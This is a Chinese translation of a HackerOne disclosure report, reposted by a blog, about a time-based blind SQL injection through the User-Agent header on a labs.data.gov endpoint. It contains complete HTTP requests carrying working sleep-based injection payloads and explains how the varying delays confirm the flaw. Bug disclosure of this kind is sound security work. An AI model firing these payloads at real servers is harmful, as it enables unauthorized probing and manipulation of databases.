文章来源:https://hackerone.com/reports/297478
我发现了一个SQL注入漏洞
/dashboard/datagov/csv_to_json
,可以通过User-Agent HTTP请求头利用它。
我没有从数据库中提取任何数据,我已经使用具有算术运算的sleep SQL查询确认了漏洞。sleep 命令与算术运算结果将导致服务器响应不同的延迟时间。
例如,将该值设置
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87'XOR(if(now()=sysdate(),sleep(5*5),0))OR'
到
User-Agent
头部将导致服务器延迟25(5×5)秒。
要重现,请发送以下HTTPS请求:
GET /dashboard/datagov/csv_to_json HTTP/1.1
Referer: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87'XOR(if(now()=sysdate(),sleep(5*5),0))OR'
X-Forwarded-For: 1
X-Requested-With: XMLHttpRequest
Host: labs.data.gov
Connection: Keep-alive
Accept-Encoding: gzip,deflate
Accept: */*
服务器将在25(5 * 5)秒后响应- 与
User-Agent:请求头
的值相同。
现在,让我们让服务器立即响应。我们将发送等于0的值sleep(5 * 5 * 0)。
GET /dashboard/datagov/csv_to_json HTTP/1.1
Referer: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87'XOR(if(now()=sysdate(),sleep(5*5*0),0))OR'
X-Forwarded-For: 1
X-Requested-With: XMLHttpRequest
Host: labs.data.gov
Connection: Keep-alive
Accept-Encoding: gzip,deflate
Accept: */*
服务器立即响应为5 * 5 * 0 = 0。
让我们用另一个请求确认:
GET /dashboard/datagov/csv_to_json HTTP/1.1
Referer: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87'XOR(if(now()=sysdate(),sleep(6*6-30),0))OR'
X-Forwarded-For: 1
X-Requested-With: XMLHttpRequest
Host: labs.data.gov
Connection: Keep-alive
Accept-Encoding: gzip,deflate
Accept: */*
这次有效载荷包含6 * 6-30,等于6。服务器在6秒后响应。
这些只是我尝试确认此问题的各种算术运算的一些SQL查询。
攻击者可以操纵发送到MySQL数据库的SQL语句并注入恶意SQL语句。攻击者能够更改针对数据库执行的SQL语句的逻辑。
本文由Bypass整理发布,转载请保留出处。
欢迎关注我的个人微信公众号:Bypass--,浏览更多精彩文章。